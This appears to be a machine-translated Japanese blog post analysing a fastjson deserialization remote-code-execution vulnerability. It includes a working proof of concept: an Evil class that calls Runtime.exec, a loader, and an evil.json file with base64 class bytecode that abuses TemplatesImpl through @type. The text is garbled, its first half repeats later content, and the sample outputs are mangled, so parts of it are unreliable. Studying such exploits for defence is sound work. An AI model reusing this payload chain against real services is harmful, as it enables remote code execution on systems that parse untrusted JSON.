自分の手でDebug Fastjsonのセキュリティホールを解決します。
概要
JavaはJSONのデータを処理して3つの比較的に流行っている種類の倉庫があります。gson、jackson、今日の主役fastjson、fastjsonはアリババのオープンソースのjsonに関するjava libraryです。住所はここです。
https://github.com/alibaba/fastjson、
Fastjsonは、javaのオブジェクトをJson形式に変換することができ、jsonをjavaオブジェクトに変換することもでき、効率が高く、webサービスおよびandroidに広く使われています。JSONString()方法は、javaのオブジェクトをJson形式に変換することができます。同様に、parseObject法により、JSONStringデータをjavaのオブジェクトに変換することができます。
4月18日頃にfastjsonでセキュリティアップデートが行われました。ここでお知らせします。
https://github.com/alibaba/fastjson/wiki/security_udate_2017315、
当時はこれに慣れていませんでした。何日間見ても収穫がありませんでした。最近はpocや分析の文章をフォローしてくれる人がいますが、やはり面白いです。
fastjson簡単な使用紹介
仕事をよくしようとするなら、まず器を利するべきです。この穴を研究するには、まずこのfastjsonが何をするかを知るべきです。自分でこのクラスを研究しました。User.java codeは以下の通りです。
testFastJson.javacodeは以下の通りです。
{key 1”:“One”、“key 2”:“Two”}
OB name:fastjsonVul.fastjson Test.User
serialized Str={「Sex」:「male」,「Username」:「ジュース履歴書」,「sex」:「male」,「username」:「ジュース履歴書」)
serialized Str 1=「@type」:「fastjsonVul.fastjson Test.User」、「Sex」:「male」、「Username」:「xiaoming」、「sex」:「male」、「username」:「ジュース履歴書」
ジュースの履歴書
{「Username」:「ジュース履歴書」、「Sex」:「male」、「sex」:「male」、「username」:「ジュース履歴書」)
OB name:comp.alibaba.fastjson.JSONObject
fastjsonVul.fastjson Test.User@18769467
Obj 1 name:fastjsonVul.fastjson Test.User
Fastjsonホール詳細
fastjsonホールができたところはJSON.parseObjectという方法です。
最初はクラス初期化時のコンストラクタまたは変数のsetter方法でのみ悪意のコードが実行されます。
Evil.java
@typeの「特性」により、構造関数およびプライベートおよび共有メンバー変数のgetterおよびsetter方法が実行されることが見られます。しかし、これはまだ私達の欲しい結果に達していないようです。上記の状況はEvilという種類をコントロールする必要があります。(一般的にはファイルを通して書かれています。)今はあまり現実的ではありません。
もう一つの方法は、コンパイルされたクラスまたはJarファイルをbyte[]に変換し、defineClassを通じてbyte[]をロードしてクラスのオブジェクトに戻すことです。
安全研究員がこのクラスを発見しました。
https://gist.github.com/frohoff/24af7913611f8406eaf3
上の図に示す攻撃起動スタック情報のように、Templates Implコールチェーンと完全に一致していますが、最終的にはdefineclassでbytecodes[]をロードしてコマンド実行に至りました。
Evil.java
この脆弱性の構造については、やはり精巧で、脆弱性の利用条件が厳しいです。もし利用できるなら、開発者はJSON.parseObject(input、Object.class、
Feature.Support NonPublicField);
ほとんどの開発はJSON.parseで済むかもしれません。パーパーミッションと
Feature.Support NonPublicFieldの設定の見積もりは多くないです。だから実際の環境の中でfastjsonのこの隙を掘るのは求められないことに出会うべきです。
ここでは、Debug Fastjsonのセキュリティ・ホールを自分の手で紹介します。Debug Fastjsonのセキュリティ・ホールの内容については、以前の記事を検索したり、以下の関連記事を見たりしてください。これからもよろしくお願いします。
JavaはJSONのデータを処理して3つの比較的に流行っている種類の倉庫があります。gson、jackson、今日の主役fastjson、fastjsonはアリババのオープンソースのjsonに関するjava libraryです。住所はここです。
https://github.com/alibaba/fastjson、
Fastjsonは、javaのオブジェクトをJson形式に変換することができ、jsonをjavaオブジェクトに変換することもでき、効率が高く、webサービスおよびandroidに広く使われています。JSONString()方法は、javaのオブジェクトをJson形式に変換することができます。同様に、parseObject法により、JSONStringデータをjavaのオブジェクトに変換することができます。
4月18日頃にfastjsonでセキュリティアップデートが行われました。ここでお知らせします。
https://github.com/alibaba/fastjson/wiki/security_udate_2017315、
当時はこれに慣れていませんでした。何日間見ても収穫がありませんでした。最近はpocや分析の文章をフォローしてくれる人がいますが、やはり面白いです。
fastjson簡単な使用紹介
仕事をよくしようとするなら、まず器を利するべきです。この穴を研究するには、まずこのfastjsonが何をするかを知るべきです。自分でこのクラスを研究しました。User.java codeは以下の通りです。
testFastJson.javacodeは以下の通りです。
package fastjsonVul.fastjsonTest;
import java.util.HashMap;
import java.util.Map;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.serializer.SerializerFeature;
import fastjsonVul.fastjsonTest.User;
public class testFastJson {
public static void main(String[] args){
Map<String, Object> map = new HashMap<String, Object>();
map.put("key1","One");
map.put("key2", "Two");
String mapJson = JSON.toJSONString(map);
System.out.println(mapJson);
User user1 = new User();
user1.setUsername(" ");
user1.setSex("male");
System.out.println("obj name:"+user1.getClass().getName());
//
String serializedStr = JSON.toJSONString(user1);
System.out.println("serializedStr="+serializedStr);
String serializedStr1 = JSON.toJSONString(user1,SerializerFeature.WriteClassName);
System.out.println("serializedStr1="+serializedStr1);
// parse
User user2 = (User)JSON.parse(serializedStr1);
System.out.println(user2.getUsername());
System.out.println();
// parseObject JSONObject
Object obj = JSON.parseObject(serializedStr1);
System.out.println(obj);
System.out.println("obj name:"+obj.getClass().getName()+"
");
//
Object obj1 = JSON.parseObject(serializedStr1,Object.class);
System.out.println(obj1);
System.out.println("obj1 name:"+obj1.getClass().getName());
}
}
出力はこうです{key 1”:“One”、“key 2”:“Two”}
OB name:fastjsonVul.fastjson Test.User
serialized Str={「Sex」:「male」,「Username」:「ジュース履歴書」,「sex」:「male」,「username」:「ジュース履歴書」)
serialized Str 1=「@type」:「fastjsonVul.fastjson Test.User」、「Sex」:「male」、「Username」:「xiaoming」、「sex」:「male」、「username」:「ジュース履歴書」
ジュースの履歴書
{「Username」:「ジュース履歴書」、「Sex」:「male」、「sex」:「male」、「username」:「ジュース履歴書」)
OB name:comp.alibaba.fastjson.JSONObject
fastjsonVul.fastjson Test.User@18769467
Obj 1 name:fastjsonVul.fastjson Test.User
Fastjsonホール詳細
fastjsonホールができたところはJSON.parseObjectという方法です。
最初はクラス初期化時のコンストラクタまたは変数のsetter方法でのみ悪意のコードが実行されます。
Evil.java
import java.io.IOException;
public class Evil {
public String getName() {
System.out.println("i am getterName!");
return name;
}
public void setName(String name) {
System.out.println("i am setterName!");
this.name = name;
}
public String name;
public int getAge() {
System.out.println("i am getterAge!");
return age;
}
public void setAge(int age) {
System.out.println("i am setterAge!");
this.age = age;
}
private int age;
public Evil() throws IOException{
System.out.println("i am constructor!");
}
}
import com.alibaba.fastjson.JSON;
import java.io.*;
public class App{
public static void readToBuffer(StringBuffer buffer, String filePath) throws IOException {
InputStream is = new FileInputStream(filePath);
String line; //
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
line = reader.readLine(); //
while (line != null) { // line
buffer.append(line); // buffer
buffer.append("
"); //
line = reader.readLine(); //
}
reader.close();
is.close();
}
public static void main( String[] args ) throws IOException
{
StringBuffer Buffer = new StringBuffer();
App.readToBuffer(Buffer,"/Users/m0rk/vul/fastjson/src/demo.json");
Object obj = JSON.parseObject(Buffer.toString());
}
}
demo.jsonの内容は以下の通りです。
{
"@type" : "Evil1",
"name" : "M0rk",
"age" : "20"}
@typeの「特性」により、構造関数およびプライベートおよび共有メンバー変数のgetterおよびsetter方法が実行されることが見られます。しかし、これはまだ私達の欲しい結果に達していないようです。上記の状況はEvilという種類をコントロールする必要があります。(一般的にはファイルを通して書かれています。)今はあまり現実的ではありません。
もう一つの方法は、コンパイルされたクラスまたはJarファイルをbyte[]に変換し、defineClassを通じてbyte[]をロードしてクラスのオブジェクトに戻すことです。
安全研究員がこのクラスを発見しました。
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
このクラスには次のような呼び出しチェーンがあります。完了しました。classファイルのオブジェクトの実装は、MailCous ClassはAbstractTransletを引き継ぐ必要があります。より多くのこの呼び出しチェーンの参照リンクhttps://gist.github.com/frohoff/24af7913611f8406eaf3
上の図に示す攻撃起動スタック情報のように、Templates Implコールチェーンと完全に一致していますが、最終的にはdefineclassでbytecodes[]をロードしてコマンド実行に至りました。
Evil.java
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
public Evil() throws IOException {
Runtime.getRuntime().exec("open /Applications/Calculator.app");
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {
}
public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws TransletException {
}
}
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import org.apache.commons.io.IOUtils;
import org.apache.commons.codec.binary.Base64;
import java.io.*;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
public class poc {
public static String readClass(String cls) {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String args[]) throws Exception{
// final String evilClassPath ="/Users/m0rk/vul/fastjson/src/Evil.class";
// String evilCode = readClass(evilClassPath);
// System.out.println(evilCode);
StringBuffer Buffer = new StringBuffer();
App.readToBuffer(Buffer, "/Users/m0rk/vul/fastjson/src/evil.json");
Object obj = JSON.parseObject(Buffer.toString(),Object.class,Feature.SupportNonPublicField);
}
}
evil.json
{
"@type" : "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes" : ["yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQAJdHJhbnNmb3JtAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAGwEAClNvdXJjZUZpbGUBAAlFdmlsLmphdmEMAAcACAcAHAwAHQAeAQAhb3BlbiAvQXBwbGljYXRpb25zL0NhbGN1bGF0b3IuYXBwDAAfACABAARFdmlsAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEABQAGAAAAAAADAAEABwAIAAIACQAAAC4AAgABAAAADiq3AAG4AAISA7YABFexAAAAAQAKAAAADgADAAAACQAEAAoADQALAAsAAAAEAAEADAABAA0ADgABAAkAAAAZAAAABAAAAAGxAAAAAQAKAAAABgABAAAADgABAA0ADwACAAkAAAAZAAAAAwAAAAGxAAAAAQAKAAAABgABAAAAEQALAAAABAABABAAAQARAAAAAgAS"],
"_name" : "M0rk",
"_tfactory" : {},
"outputProperties" : {}
}
締め括りをつけるこの脆弱性の構造については、やはり精巧で、脆弱性の利用条件が厳しいです。もし利用できるなら、開発者はJSON.parseObject(input、Object.class、
Feature.Support NonPublicField);
ほとんどの開発はJSON.parseで済むかもしれません。パーパーミッションと
Feature.Support NonPublicFieldの設定の見積もりは多くないです。だから実際の環境の中でfastjsonのこの隙を掘るのは求められないことに出会うべきです。
ここでは、Debug Fastjsonのセキュリティ・ホールを自分の手で紹介します。Debug Fastjsonのセキュリティ・ホールの内容については、以前の記事を検索したり、以下の関連記事を見たりしてください。これからもよろしくお願いします。